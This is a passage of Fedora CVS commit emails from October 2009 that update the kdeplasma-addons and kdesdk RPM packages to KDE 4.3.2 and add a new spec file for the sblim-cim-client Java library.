Date: Wed,  7 Oct 2009 12:09:08 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-11 .cvsignore, 1.17,
	1.18 kdeplasma-addons.spec, 1.41, 1.42 sources, 1.16,
	1.17 kdeplasma-addons-4.3.2-ublog_twitter.patch, 1.1, NONE
Message-ID: <20091007120908.305E111C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeplasma-addons/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv707/F-11

Modified Files:
	.cvsignore kdeplasma-addons.spec sources 
Removed Files:
	kdeplasma-addons-4.3.2-ublog_twitter.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-11/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	1 Sep 2009 18:15:00 -0000	1.17
+++ .cvsignore	7 Oct 2009 12:09:07 -0000	1.18
@@ -1 +1 @@
-kdeplasma-addons-4.3.1.tar.bz2
+kdeplasma-addons-4.3.2.tar.bz2


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-11/kdeplasma-addons.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- kdeplasma-addons.spec	3 Oct 2009 16:35:05 -0000	1.41
+++ kdeplasma-addons.spec	7 Oct 2009 12:09:08 -0000	1.42
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
-Version:        4.3.1
-Release:        3%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -16,7 +16,6 @@ Patch51: kdeplasma-addons-4.2.2-krunner_
 
 ## upstream patches
 # https://bugzilla.redhat.com/526524
-Patch100: kdeplasma-addons-4.3.2-ublog_twitter.patch
 # Backported from 4.3 branch
 
 BuildRequires:  boost-devel
@@ -82,7 +81,6 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
-%patch100 -p4 -b .ublog_twitter
 
 
 %build
@@ -130,6 +128,7 @@ rm -rf %{buildroot}
 %{_kde4_appsdir}/desktoptheme/*
 %{_kde4_appsdir}/lancelot/
 %{_kde4_appsdir}/plasma/services/*
+%{_kde4_appsdir}/plasma-applet-frame/
 %{_kde4_appsdir}/plasma-applet-opendesktop/
 %{_kde4_appsdir}/plasma_pastebin/
 %{_kde4_appsdir}/plasma_wallpaper_pattern/
@@ -142,7 +141,6 @@ rm -rf %{buildroot}
 %{_kde4_datadir}/dbus-1/services/org.kde.lancelot.service
 %{_kde4_libdir}/kde4/*.so
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_iconsdir}/oxygen/*/*/*
 
 %files libs
 %defattr(-,root,root,-)
@@ -167,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
 - Ship -devel subpackage (#527011)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-11/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	1 Sep 2009 18:15:00 -0000	1.16
+++ sources	7 Oct 2009 12:09:08 -0000	1.17
@@ -1 +1 @@
-282473836da35a48a6c6bee0b6fa6666  kdeplasma-addons-4.3.1.tar.bz2
+ef545d02cc484d226dc6a580be11a370  kdeplasma-addons-4.3.2.tar.bz2


--- kdeplasma-addons-4.3.2-ublog_twitter.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 12:09:08 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:09:08 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-12 .cvsignore, 1.20,
	1.21 kdeplasma-addons.spec, 1.61, 1.62 sources, 1.20,
	1.21 kdeplasma-addons-4.3.2-ublog_twitter.patch, 1.1, NONE
Message-ID: <20091007120908.B6CC111C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeplasma-addons/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv707/F-12

Modified Files:
	.cvsignore kdeplasma-addons.spec sources 
Removed Files:
	kdeplasma-addons-4.3.2-ublog_twitter.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	1 Sep 2009 18:15:00 -0000	1.20
+++ .cvsignore	7 Oct 2009 12:09:08 -0000	1.21
@@ -1 +1 @@
-kdeplasma-addons-4.3.1.tar.bz2
+kdeplasma-addons-4.3.2.tar.bz2


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-12/kdeplasma-addons.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- kdeplasma-addons.spec	3 Oct 2009 16:22:44 -0000	1.61
+++ kdeplasma-addons.spec	7 Oct 2009 12:09:08 -0000	1.62
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
-Version:        4.3.1
-Release:        3%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -16,7 +16,6 @@ Patch51: kdeplasma-addons-4.2.2-krunner_
 
 ## upstream patches
 # https://bugzilla.redhat.com/526524
-Patch100: kdeplasma-addons-4.3.2-ublog_twitter.patch
 # Backported from 4.3 branch
 
 BuildRequires:  boost-devel
@@ -82,7 +81,6 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
-%patch100 -p4 -b .ublog_twitter
 
 
 %build
@@ -130,6 +128,7 @@ rm -rf %{buildroot}
 %{_kde4_appsdir}/desktoptheme/*
 %{_kde4_appsdir}/lancelot/
 %{_kde4_appsdir}/plasma/services/*
+%{_kde4_appsdir}/plasma-applet-frame/
 %{_kde4_appsdir}/plasma-applet-opendesktop/
 %{_kde4_appsdir}/plasma_pastebin/
 %{_kde4_appsdir}/plasma_wallpaper_pattern/
@@ -142,7 +141,6 @@ rm -rf %{buildroot}
 %{_kde4_datadir}/dbus-1/services/org.kde.lancelot.service
 %{_kde4_libdir}/kde4/*.so
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_iconsdir}/oxygen/*/*/*
 
 %files libs
 %defattr(-,root,root,-)
@@ -167,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
 - Ship -devel subpackage (#527011)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-12/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	28 Aug 2009 16:15:15 -0000	1.20
+++ sources	7 Oct 2009 12:09:08 -0000	1.21
@@ -1 +1 @@
-282473836da35a48a6c6bee0b6fa6666  kdeplasma-addons-4.3.1.tar.bz2
+ef545d02cc484d226dc6a580be11a370  kdeplasma-addons-4.3.2.tar.bz2


--- kdeplasma-addons-4.3.2-ublog_twitter.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 12:09:08 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:09:08 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel .cvsignore,1.21,1.22
Message-ID: <20091007120908.E6C6311C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv707/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	5 Oct 2009 15:04:15 -0000	1.21
+++ .cvsignore	7 Oct 2009 12:09:08 -0000	1.22
@@ -1,2 +1 @@
-kdeplasma-addons-4.3.1.tar.bz2
 kdeplasma-addons-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:10:41 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:10:41 +0000 (UTC)
Subject: rpms/kdesdk/F-10 .cvsignore, 1.58, 1.59 kdesdk.spec, 1.134,
	1.135 sources, 1.61, 1.62
Message-ID: <20091007121041.A1BA711C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdesdk/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1084/F-10

Modified Files:
	.cvsignore kdesdk.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-10/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	1 Sep 2009 18:25:55 -0000	1.58
+++ .cvsignore	7 Oct 2009 12:10:41 -0000	1.59
@@ -1 +1 @@
-kdesdk-4.3.1.tar.bz2
+kdesdk-4.3.2.tar.bz2


Index: kdesdk.spec
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-10/kdesdk.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- kdesdk.spec	1 Sep 2009 18:25:55 -0000	1.134
+++ kdesdk.spec	7 Oct 2009 12:10:41 -0000	1.135
@@ -1,5 +1,5 @@
 Name:           kdesdk
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
@@ -30,6 +30,8 @@ BuildRequires:  binutils-devel
 
 Requires: kdepimlibs >= %{version}
 Requires: %{name}-libs = %{version}-%{release}
+# lokalize
+Requires: kross(python)
 
 # not *strictly* required, helps upgrade case so tools don't disappear
 Requires(hint): %{name}-utils = %{version}-%{release}
@@ -223,6 +225,12 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Thu Sep 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
+- Requires: kross(python) (#523076)
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-10/sources,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- sources	1 Sep 2009 18:25:55 -0000	1.61
+++ sources	7 Oct 2009 12:10:41 -0000	1.62
@@ -1 +1 @@
-e1fda958d1f0a2ac39c0cc04814d1fd7  kdesdk-4.3.1.tar.bz2
+326da443b4fed01141f7954464678de2  kdesdk-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:10:42 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:10:42 +0000 (UTC)
Subject: rpms/kdesdk/devel .cvsignore,1.65,1.66
Message-ID: <20091007121042.7FEE811C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdesdk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1084/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/devel/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	5 Oct 2009 15:12:17 -0000	1.65
+++ .cvsignore	7 Oct 2009 12:10:42 -0000	1.66
@@ -1,2 +1 @@
-kdesdk-4.3.1.tar.bz2
 kdesdk-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:10:41 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:10:41 +0000 (UTC)
Subject: rpms/kdesdk/F-11 .cvsignore, 1.61, 1.62 kdesdk.spec, 1.149,
	1.150 sources, 1.62, 1.63
Message-ID: <20091007121041.F02A211C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdesdk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1084/F-11

Modified Files:
	.cvsignore kdesdk.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-11/.cvsignore,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- .cvsignore	1 Sep 2009 18:25:55 -0000	1.61
+++ .cvsignore	7 Oct 2009 12:10:41 -0000	1.62
@@ -1 +1 @@
-kdesdk-4.3.1.tar.bz2
+kdesdk-4.3.2.tar.bz2


Index: kdesdk.spec
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-11/kdesdk.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- kdesdk.spec	1 Sep 2009 18:25:55 -0000	1.149
+++ kdesdk.spec	7 Oct 2009 12:10:41 -0000	1.150
@@ -1,5 +1,5 @@
 Name:           kdesdk
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
@@ -30,6 +30,8 @@ BuildRequires:  binutils-devel
 
 Requires: kdepimlibs >= %{version}
 Requires: %{name}-libs = %{version}-%{release}
+# lokalize
+Requires: kross(python)
 
 # not *strictly* required, helps upgrade case so tools don't disappear
 Requires(hint): %{name}-utils = %{version}-%{release}
@@ -223,6 +225,12 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Thu Sep 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
+- Requires: kross(python) (#523076)
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-11/sources,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- sources	1 Sep 2009 18:25:55 -0000	1.62
+++ sources	7 Oct 2009 12:10:41 -0000	1.63
@@ -1 +1 @@
-e1fda958d1f0a2ac39c0cc04814d1fd7  kdesdk-4.3.1.tar.bz2
+326da443b4fed01141f7954464678de2  kdesdk-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:10:42 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:10:42 +0000 (UTC)
Subject: rpms/kdesdk/F-12 .cvsignore, 1.64, 1.65 kdesdk.spec, 1.150,
	1.151 sources, 1.65, 1.66
Message-ID: <20091007121042.4910B11C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdesdk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1084/F-12

Modified Files:
	.cvsignore kdesdk.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-12/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	1 Sep 2009 18:25:55 -0000	1.64
+++ .cvsignore	7 Oct 2009 12:10:42 -0000	1.65
@@ -1 +1 @@
-kdesdk-4.3.1.tar.bz2
+kdesdk-4.3.2.tar.bz2


Index: kdesdk.spec
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-12/kdesdk.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- kdesdk.spec	24 Sep 2009 14:14:46 -0000	1.150
+++ kdesdk.spec	7 Oct 2009 12:10:42 -0000	1.151
@@ -1,6 +1,6 @@
 Name:           kdesdk
-Version:        4.3.1
-Release:        2%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
 Group:          User Interface/Desktops
@@ -225,6 +225,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Thu Sep 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - Requires: kross(python) (#523076)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdesdk/F-12/sources,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sources	28 Aug 2009 16:17:34 -0000	1.65
+++ sources	7 Oct 2009 12:10:42 -0000	1.66
@@ -1 +1 @@
-e1fda958d1f0a2ac39c0cc04814d1fd7  kdesdk-4.3.1.tar.bz2
+326da443b4fed01141f7954464678de2  kdesdk-4.3.2.tar.bz2



From vcrhonek at fedoraproject.org  Wed Oct  7 12:14:12 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 12:14:12 +0000 (UTC)
Subject: rpms/sblim-cim-client/F-11 sblim-cim-client.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007121412.7246B11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2718

Modified Files:
	sources 
Added Files:
	sblim-cim-client.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

# sblim-cim-client macros
%define archive_folder_name cim-client
%define cim_client_jar_file sblimCIMClient
%define slp_name sblim-slp-client
%define slp_client_jar_file sblimSLPClient

# there's no reason to produce debuginfo package
#%global debug_package %{nil}

Summary:        Java CIM Client library
Name:           sblim-cim-client
Version:        1.3.9.1
Release:        1%{?dist}
License:        EPL
Group:          Development/Libraries
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}-src.zip
Source1:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-samples-%{version}-src.zip

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  xerces-j2 >= 2.7.1
BuildRequires:  ant >= 0:1.6
BuildRequires:  dos2unix

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32
Requires:       xerces-j2 >= 2.7.1
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description javadoc
Javadoc for sblim-cim-client.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description manual
Manual and sample code for sblim-cim-client.

%prep
%setup -q -n %{archive_folder_name}
rm version.txt
%setup -q -T -D -b 1 -n %{archive_folder_name}

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version} \
        build-release

%install
rm -rf $RPM_BUILD_ROOT
# documentation
dos2unix COPYING README ChangeLog NEWS
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install COPYING $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install README $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install ChangeLog $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install NEWS $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# samples (also into _docdir)
pushd samples
  dos2unix README.samples
  pushd org/sblim/slp/example
    dos2unix *
  popd
  pushd org/sblim/wbem/cimclient/sample
    dos2unix *
  popd
popd
install samples/README.samples $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
cp -pr  samples/org $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# default cim.defaults
dos2unix cim.defaults slp.conf
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/java
install cim.defaults $RPM_BUILD_ROOT%{_sysconfdir}/java/%{name}.properties
install slp.conf $RPM_BUILD_ROOT%{_sysconfdir}/java/%{slp_name}.properties
# jar
mkdir -p $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder_name}/%{cim_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{cim_client_jar_file}.jar;
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
install %{archive_folder_name}/%{slp_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{slp_name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{slp_name}-%{version}.jar %{slp_client_jar_file}.jar;
    ln -sf %{slp_name}-%{version}.jar %{slp_name}.jar;
)
# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr %{archive_folder_name}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

%files
%defattr(0644,root,root,0755)
%config(noreplace) %{_sysconfdir}/java/%{name}.properties
%config(noreplace) %{_sysconfdir}/java/%{slp_name}.properties
%dir %{_datadir}/doc/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{cim_client_jar_file}.jar
%{_javadir}/%{slp_name}.jar
%{_javadir}/%{slp_name}-%{version}.jar
%{_javadir}/%{slp_client_jar_file}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
%doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Mon Oct  5 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.3.9.1-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:39:11 -0000	1.1
+++ sources	7 Oct 2009 12:14:12 -0000	1.2
@@ -0,0 +1,2 @@
+37078f13a5a7ea2cc69b6751c8f48518  sblim-cim-client-1.3.9.1-src.zip
+a90d4fb7542aaff03eb4498641cd2c9a  sblim-cim-client-samples-1.3.9.1-src.zip



From vcrhonek at fedoraproject.org  Wed Oct  7 12:20:05 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 12:20:05 +0000 (UTC)
Subject: rpms/sblim-cim-client/F-10 sblim-cim-client.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007122005.A42B211C02A1@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4585

Modified Files:
	sources 
Added Files:
	sblim-cim-client.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

# sblim-cim-client macros
%define archive_folder_name cim-client
%define cim_client_jar_file sblimCIMClient
%define slp_name sblim-slp-client
%define slp_client_jar_file sblimSLPClient

# there's no reason to produce debuginfo package
#%global debug_package %{nil}

Summary:        Java CIM Client library
Name:           sblim-cim-client
Version:        1.3.9.1
Release:        1%{?dist}
License:        EPL
Group:          Development/Libraries
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}-src.zip
Source1:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-samples-%{version}-src.zip

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  xerces-j2 >= 2.7.1
BuildRequires:  ant >= 0:1.6
BuildRequires:  dos2unix

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32
Requires:       xerces-j2 >= 2.7.1
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description javadoc
Javadoc for sblim-cim-client.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description manual
Manual and sample code for sblim-cim-client.

%prep
%setup -q -n %{archive_folder_name}
rm version.txt
%setup -q -T -D -b 1 -n %{archive_folder_name}

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version} \
        build-release

%install
rm -rf $RPM_BUILD_ROOT
# documentation
dos2unix COPYING README ChangeLog NEWS
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install COPYING $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install README $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install ChangeLog $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install NEWS $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# samples (also into _docdir)
pushd samples
  dos2unix README.samples
  pushd org/sblim/slp/example
    dos2unix *
  popd
  pushd org/sblim/wbem/cimclient/sample
    dos2unix *
  popd
popd
install samples/README.samples $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
cp -pr  samples/org $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# default cim.defaults
dos2unix cim.defaults slp.conf
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/java
install cim.defaults $RPM_BUILD_ROOT%{_sysconfdir}/java/%{name}.properties
install slp.conf $RPM_BUILD_ROOT%{_sysconfdir}/java/%{slp_name}.properties
# jar
mkdir -p $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder_name}/%{cim_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{cim_client_jar_file}.jar;
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
install %{archive_folder_name}/%{slp_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{slp_name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{slp_name}-%{version}.jar %{slp_client_jar_file}.jar;
    ln -sf %{slp_name}-%{version}.jar %{slp_name}.jar;
)
# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr %{archive_folder_name}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

%files
%defattr(0644,root,root,0755)
%config(noreplace) %{_sysconfdir}/java/%{name}.properties
%config(noreplace) %{_sysconfdir}/java/%{slp_name}.properties
%dir %{_datadir}/doc/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{cim_client_jar_file}.jar
%{_javadir}/%{slp_name}.jar
%{_javadir}/%{slp_name}-%{version}.jar
%{_javadir}/%{slp_client_jar_file}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
%doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Mon Oct  5 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.3.9.1-1
- Initial support


Index: sources
===================================================================
